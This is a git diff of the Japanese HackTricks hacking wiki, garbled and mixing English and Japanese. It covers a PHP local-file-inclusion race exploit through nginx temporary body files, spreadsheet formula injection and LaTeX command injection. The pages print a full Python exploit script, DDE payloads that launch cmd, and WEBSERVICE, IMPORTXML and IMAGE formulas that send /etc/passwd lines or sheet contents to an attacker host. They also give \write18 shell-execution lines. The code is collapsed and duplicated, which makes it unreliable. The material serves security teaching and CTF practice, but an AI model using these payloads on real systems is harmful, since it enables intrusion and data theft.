詳細については、[https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)のレースコンディションとCTFの説明を確認してください。
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -85,7 +59,7 @@ GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,86 +15,62 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **盗難マルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 脆弱な構成
|
||||
|
||||
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**からの例](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* PHP コード:
|
||||
* PHPコード:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 注意: この例では、PHP の \`include\` 関数がパスを \`/var/lib/nginx/body/0000001368 (deleted)\` に解決するため、直接 \`/proc/34/fd/15\` を含めることはできません。この小さな制限は、\`/proc/self/fd/34/../../../34/fd/15\` のような間接的な方法で回避できます。これにより、削除された \`/var/lib/nginx/body/0000001368\` ファイルの内容が最終的に実行されます。 ## 完全なエクスプロイト \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # nginx のクライアントボディバッファリング支援を介して PHP ローカルファイルインクルージョン (LFI) をエクスプロイト # 詳細については https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ を参照 URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # nginx ワーカープロセスを見つける r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # nginx に /var/lib/nginx/body/$X を作成させるために大きなクライアントボディをアップロード def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
```markdown
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # すべてのCPUを使用して、Nginxのリクエストボディとしてペイロードを送信するために for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # このメソッドは、ProcFSパスコンポーネントのランダムな数からパスを作成します。生成されたパスは /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root のようになります path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # フラグは hxp{} 形式でフォーマットされています if "hxp" in d: print("フラグを発見しました!") print(d)
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # NginxのFDを10 - 45の範囲でループしてスキャンします。ファイルとソケットは閉じ続けるため、リクエストボディのFDがこの範囲内で開くことは非常に一般的です for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] リクエストセッションを作成しています') requests\_session = create\_requests\_session() print('\[DEBUG] NginxのPIDを取得しています') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] NginxのPID: {nginx\_pids}') print('\[DEBUG] ペイロードの送信を開始します') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] FDリーダーを開始します') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
```
|
||||
```
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
## Labs
|
||||
```
|
||||
## ラボ
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -1,36 +1,28 @@
|
|||
# Formula/CSV/Doc/LaTeX/GhostScript Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
||||
もしあなたの**入力**が**CSVファイル**(またはおそらく**Excel**で開かれる他のファイル)の中に**反映**されている場合、ユーザーが**ファイルを開く**ときや、ユーザーがExcelシート内の**リンクをクリックする**ときに**実行される**Excelの**数式**を入れることができるかもしれません。
|
||||
あなたの**入力**が**CSVファイル**(または**Excel**で開かれる可能性のある他のファイル)内に**反映**されている場合、ユーザーが**ファイルを開く**ときや、ユーザーがExcelシート内の**リンクをクリックする**ときに**実行される**Excelの**数式**を挿入できるかもしれません。
|
||||
|
||||
{% hint style="danger" %}
|
||||
現在、**Excelは外部から何かが読み込まれたときに**(何度も)**ユーザーに警告します**。これは、悪意のある行動を防ぐためです。したがって、最終的なペイロードにはソーシャルエンジニアリングに特別な努力が必要です。
|
||||
現在、**Excelは外部から何かが読み込まれたときに**(何度も)**ユーザーに警告します**。これは、悪意のある行動を防ぐためです。したがって、最終的なペイロードには特別な社会工学的努力が必要です。
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -44,7 +36,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### ハイパーリンク
|
||||
|
||||
**以下の例は、最終的なExcelシートからコンテンツを抽出し、任意の場所にリクエストを送信するのに非常に便利です。しかし、リンクをクリックする必要があります(警告プロンプトを受け入れる必要があります)。**
|
||||
**以下の例は、最終的なExcelシートからコンテンツを抽出し、任意の場所にリクエストを行うのに非常に便利です。しかし、リンクをクリックする必要があり(警告プロンプトを受け入れる必要があります)、それが求められます。**
|
||||
|
||||
以下の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取られました。
|
||||
|
||||
|
@ -58,14 +50,14 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
* CSVファイルを開くと、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
|
||||
3. **攻撃のトリガー:**
|
||||
* 教師はハイパーリンクをクリックし、それが学生の詳細の正当な部分であると信じています。
|
||||
* クリックすると、機密データ(スプレッドシートや教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
|
||||
* クリックすると、機密データ(スプレッドシートの詳細や教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
|
||||
4. **データのログ記録:**
|
||||
* 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信し、ログに記録します。
|
||||
* 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに侵害することができます。
|
||||
|
||||
### RCE
|
||||
|
||||
**詳細については、** [**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **を確認してください。**
|
||||
**詳細については、[**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1)を確認してください。**
|
||||
|
||||
特定の構成や古いバージョンのExcelでは、動的データ交換(DDE)と呼ばれる機能が任意のコマンドを実行するために悪用される可能性があります。これを利用するには、次の設定を有効にする必要があります:
|
||||
|
||||
|
@ -85,34 +77,34 @@ LibreOffice Calcはローカルファイルを読み取り、データを抽出
|
|||
|
||||
* ローカルの`/etc/passwd`ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
|
||||
* 読み取ったデータを攻撃者が制御するサーバーに抽出する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* 複数行を抽出する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* 1行以上を抽出する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* DNS抽出(読み取ったデータを攻撃者が制御するDNSサーバーへのDNSクエリとして送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||||
|
||||
Google SheetsはOOBデータ抽出のために悪用できる関数を提供します:
|
||||
|
||||
* **CONCATENATE**: 文字列を結合します - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: 構造化データタイプからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
* **IMPORTFEED**: RSSまたはATOMフィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: HTMLテーブルまたはリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: 別のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: セルに画像を挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
* **CONCATENATE**: 文字列を結合する - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: 構造化データタイプからデータをインポートする - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
* **IMPORTFEED**: RSSまたはATOMフィードをインポートする - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: HTMLテーブルまたはリストからデータをインポートする - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: 別のスプレッドシートからセルの範囲をインポートする - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: セルに画像を挿入する - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## LaTeX Injection
|
||||
|
||||
通常、インターネット上で**LaTeXコードをPDFに変換する**サーバーは**`pdflatex`**を使用します。\
|
||||
このプログラムはコマンド実行を(不)許可するために3つの主な属性を使用します:
|
||||
このプログラムはコマンド実行を(不)許可するために3つの主要な属性を使用します:
|
||||
|
||||
* **`--no-shell-escape`**: `\write18{command}`構文を**無効**にします。texmf.cnfファイルで有効になっていてもです。
|
||||
* **`--shell-restricted`**: `--shell-escape`と同じですが、**事前定義された**「安全な」コマンドのセットに**制限**されています(**Ubuntu 16.04ではリストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。
|
||||
* **`--shell-escape`**: `\write18{command}`構文を**有効**にします。コマンドは任意のシェルコマンドである可能性があります。この構文は通常、セキュリティ上の理由から許可されていません。
|
||||
* **`--shell-escape`**: `\write18{command}`構文を**有効**にします。コマンドは任意のシェルコマンドであることができます。この構文は通常、セキュリティ上の理由から許可されていません。
|
||||
|
||||
ただし、コマンドを実行する他の方法もあるため、RCEを避けるためには`--shell-restricted`を使用することが非常に重要です。
|
||||
|
||||
### Read file <a href="#read-file" id="read-file"></a>
|
||||
|
||||
注入を`[`や`$`のようなラッパーで調整する必要があるかもしれません。
|
||||
注入を`[`または`$`のようなラッパーで調整する必要があるかもしれません。
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -170,7 +162,7 @@ Google SheetsはOOBデータ抽出のために悪用できる関数を提供し
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
もしLaTexエラーが発生した場合は、悪い文字なしで結果を得るためにbase64を使用することを検討してください。
|
||||
LaTexエラーが発生した場合は、悪い文字なしで結果を得るためにbase64を使用することを検討してください。
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -198,11 +190,6 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**トライハードセキュリティグループ**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -214,7 +201,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,28 +8,20 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2Cスモグリング <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2オーバークリアテキスト (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
